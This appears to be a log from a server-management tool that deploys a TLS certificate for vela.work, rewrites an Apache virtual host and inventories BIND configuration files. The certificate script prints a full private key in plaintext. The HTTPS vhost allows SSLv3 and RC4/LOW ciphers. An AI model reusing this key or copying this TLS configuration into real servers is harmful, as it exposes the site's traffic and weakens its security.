MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:49:04: Establishing a connection
2026-03-14 11:49:05: 

PUT: /tmp/pkp360643

#!/bin/bash
temp_file=$(mktemp)
TARGET=56a76e69b767db598a27d260cea98579.crt

cat > $temp_file <<'endmsg'
56:a7:6e:69:b7:67:db:59:8a:27:d2:60:ce:a9:85:79

-----BEGIN CERTIFICATE-----
MIIDTTCCAjWgAwIBAgIUAWs8soj+LElo5DE0P2tZSUI30QkwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDMxNDExNDkwNFoXDTI3MDMxNDExNDkwNFow
FDESMBAGA1UEAwwJdmVsYS53b3JrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAigOjzO4qW6Q2VXeeqPeKTIo2sQVswTsWO26/6Pgcw2Bli/JxHI1gSUs7
SsAlTn4g24JQp3wpiJ2d8s1JUKfoG4Pa4cKfepNPc9rBxiqIwZykkgZrfE37yYTU
GbU7BWJjy2ncjA1fEXVrxt/zhQhxZlyyqcbuouY1F/0tRtJTDE1AEPxghNHuUAjE
WlOgFsPz8rckYQ6NJI88a8+xACCKDto44CobO+DIDzveAvBzJ/WV6Tocy8lMVGHf
6kC3UbtLwaKBXSTZ0fJnYoc/JPyMfg9j92VLmj1tGTLbicTwZDontAX0hLM9LI/Q
32O7q6xg4QkbiSlftYJ9iKF2hfD4vQIDAQABo3AwbjAdBgNVHQ4EFgQUv1fN9p1U
6ZDs6JxbhwsK+/ktg7cwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziCV0swc/ww
CwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwFAYDVR0RBA0wC4IJdmVsYS53b3JrMA0G
CSqGSIb3DQEBCwUAA4IBAQAOlCwzktjfHjrl15azWlGVl3Sd3NWldj9c8/Ux42dM
+PrFzOV5IS1dIFtCB/X1gG6FbIcpTJ3mfQb+QiV840wKwjIQr4O4aoEijlDl+sRb
5x3rUd4b0jkw6ldmPPQwag6hrpnN+8bs2EcLP6rchvSRhFVxbShPIxYv7D00uThN
cK2mtaR0wSwbqBCN0VY7k31YZD1CRLfW07KMkQnA4a7qGT4MrnsxFmLrCJt4REgQ
+2FW1CruOF36yREsaBZ1fun3bEnzPwJZ6wwYqAqYhGVn0oLgziCoMewtT3rO6ugj
Pjui5MMAxvTLKG1UkDVUTaD3vGKzhFA1Ge+RH9O+yW50
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCKA6PM7ipbpDZV
d56o94pMijaxBWzBOxY7br/o+BzDYGWL8nEcjWBJSztKwCVOfiDbglCnfCmInZ3y
zUlQp+gbg9rhwp96k09z2sHGKojBnKSSBmt8TfvJhNQZtTsFYmPLadyMDV8RdWvG
3/OFCHFmXLKpxu6i5jUX/S1G0lMMTUAQ/GCE0e5QCMRaU6AWw/PytyRhDo0kjzxr
z7EAIIoO2jjgKhs74MgPO94C8HMn9ZXpOhzLyUxUYd/qQLdRu0vBooFdJNnR8mdi
hz8k/Ix+D2P3ZUuaPW0ZMtuJxPBkOie0BfSEsz0sj9DfY7urrGDhCRuJKV+1gn2I
oXaF8Pi9AgMBAAECggEADTiICmuONzUl104cLsd3whlDX/XLEz+bw5m6XJDYAIdN
cviIiVmprZu9VE3PxRMkBqMXItQsDmA67zVnHojXHTumThYcvNs7szdzdI5Ch3l/
8lUXGtNFmWpV/xhzTPK96JB9hhUJ1FxRNL3jUA0c/9dFbioWVhiDYYbpPW2McxMX
WKnmknMKfq7CZy8Xh4d0lul4fhssCVzeRPJ5dAHr1a+FI7VCau7UDfrYYvVHuvD1
nTjsb/f4WKLprcuqgmmW8qRfgx0SWhPjpt35qM+MRhmd5MHRLnRfDOg4R+/BiQ0+
PgByc0T2GgDezMru5qT4AMPOahx4if/O9ejyQhyNwQKBgQDAF5ENmsV7QBzp41uJ
6+gmlOkiLXPWsYPhZGAT15nNezWW1WhJpyifwFrzM4T1iYDRDykB28iVQiZplVma
QDLlLJVaEtzx0L+EuT0G85QOAgD0JxFXI0XotcPuFHc4CgRSW0FLBZaXOz/6XIu4
zDI4tSh13XUEYJuqJ/nrwm411QKBgQC37kbmbqwYTZtlb6ZW+l//WCzMoy9MpraN
w3h8rg6IElLhr6TxdgEG61hhPE8U5M9FnoKPxNgBq0JMypzi6rVx6KwtwQAo9PSr
lMDcKtWmyXTJwNgoUoe51gwd0FEqvZf473P8cvv4b8NzHBiIjugQ8G6V7x01ol1J
EodnFMmjSQKBgC7Sz8nYK0Ei3KlqgTq6ZWlaLQXmvHDd7n63f+/2QwhieyqcNIKX
m4BtW/4iVcugS+Up494PG/K+ICzmeePuuDlCx9kf9fl/399TY/vYzgMoG+Fn0INE
Fttlyy+yj2j6kBkfI2hNIWsVxz+Y5XoTVD6cchNg+xApGGi+u93rFABNAoGBAIAE
8gZLO69CvQlSN9XMOOryRWQ9pJtWYjOzvPYS8/xTvKpm5YhG2RomzoIHRwfE5luP
o1JL8QjgWao3UBFEyfu5tbW24tSfAnk2dTIJAmIvUAFpH0qZfuyjBhXuO8Bi7BcR
G4q3wZc+uywwfwb1aKL5pg7nuk3tb75/jgz6VAo5AoGAa/Sm5FAI6U6vqFaL0Q3N
YsIDQCyrcz6WU6lE7al4odBeZBwTp8QH8XYQ6VOJdaDj5mjG2jN0WJCn/T6/BwVw
urcb8SXUj4EKpZXwuYt2iEJTjDBZRsUSBwJE1fllMpu7oOJ4cwvE6SwdcWfQVjda
i+3TJCx3W9lqMoGA1EC0uLE=
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-14 11:49:05: 

chmod 755 /tmp/pkp360643; /tmp/pkp360643; rm /tmp/pkp360643

2026-03-14 11:49:05: 


dir=/etc/ssl/certs


2026-03-14 11:49:05: 

PUT: /tmp/pkp338502

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_www_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-14 11:49:05: 

chmod 755 /tmp/pkp338502; /tmp/pkp338502; rm /tmp/pkp338502

2026-03-14 11:49:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf 37

<VirtualHost *:80>
    ServerName	vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-03-14 11:49:05: 

PUT: /tmp/pkp175378

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vela_www_work.conf
TARGET=/etc/apache2/sites-enabled/vela_www_work.conf
DOCROOT=/var/www/vela_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/vela
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vela_www_work.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf= 1'
fi


2026-03-14 11:49:05: 

chmod 755 /tmp/pkp175378; /tmp/pkp175378; rm /tmp/pkp175378

2026-03-14 11:49:05: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/vela_www_work.conf)= /etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf
file(/etc/apache2//etc/apache2/sites-enabled/vela_www_work.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-03-14 11:49:05: 

PUT: /tmp/pkp553315

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-14 11:49:05: 

chmod 755 /tmp/pkp553315; /tmp/pkp553315; rm /tmp/pkp553315

2026-03-14 11:49:05: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-14 11:49:06: Establishing a connection
2026-03-14 11:49:06: 

PUT: /tmp/pkp158446

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:49:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp158446; rm /tmp/pkp158446'

2026-03-14 11:49:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
